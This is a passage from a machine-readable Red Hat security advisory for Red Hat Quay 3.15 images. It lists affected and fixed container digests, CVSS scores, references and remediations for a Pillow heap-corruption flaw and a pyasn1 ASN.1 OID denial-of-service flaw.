            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500052"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Pillow, a Python imaging library. This vulnerability allows an attacker to trigger controlled native heap corruption by supplying an output image whose mode does not match the transform\u0027s declared output mode when using the ImageCms.ImageCmsTransform.apply API. This can lead to a denial of service (DoS) condition, making the affected system or application unavailable.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "Pillow: Pillow: Controlled native heap corruption in ImageCms.ImageCmsTransform.apply API",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "The impact is limited to denial of service. While the underlying issue is heap corruption via mode mismatch, it does not provide a controlled write primitive exploitable for code execution in affected Red Hat products.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59205"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500052",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500052"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59205",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59205"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59205",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59205"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721",
          "url": "https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/pull/9715",
          "url": "https://github.com/python-pillow/Pillow/pull/9715"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0",
          "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6",
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6"
        }
      ],
      "release_date": "2026-07-14T15:48:39.962000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        },
        {
          "category": "workaround",
          "details": "Most applications using Pillow\u0027s color management via profileToProfile() or applyTransform() are not exposed. Only code that calls ImageCmsTransform.apply() directly with a user-controlled output image whose mode does not match the transform can trigger the heap corruption. Audit your code for direct apply() calls to confirm.\n\nRHEL builds ship with ASLR, full RELRO/PIE, and FORTIFY_SOURCE by default, making escalation from crash to code execution much harder. For DoS containment, configure automatic service restart (Restart=always in systemd, or container restart policies) so the process recovers without manual intervention.",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "Pillow: Pillow: Controlled native heap corruption in ImageCms.ImageCmsTransform.apply API"
    },
    {
      "cve": "CVE-2026-59885",
      "cwe": {
        "id": "CWE-1050",
        "name": "Excessive Platform Resource Consumption within a Loop"
      },
      "discovery_date": "2026-07-14T18:17:12.157807+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500380"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in pyasn1, a Python library for Abstract Syntax Notation One (ASN.1). The BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A remote attacker could exploit this by providing a specially crafted payload containing an OID with many arcs, leading to excessive CPU consumption and a denial of service (DoS) in applications that decode untrusted ASN.1 data. The corresponding encoders also exhibit this quadratic behavior when re-encoding attacker-supplied values.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "pyasn1: python-pyasn1: pyasn1: Denial of Service via crafted ASN.1 OBJECT IDENTIFIER",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "A flaw was found in pyasn1. The BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload containing an OID with many arcs consumes excessive CPU per decode() call, allowing denial of service in applications that decode untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos). The corresponding encoders exhibit the same behavior when re-encoding attacker-supplied values. The arc-size limit introduced for CVE-2026-23490 does not mitigate this issue. This issue is fixed in pyasn1 version 0.6.4.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59885"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500380",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500380"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59885",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59885"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59885",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59885"
        },
        {
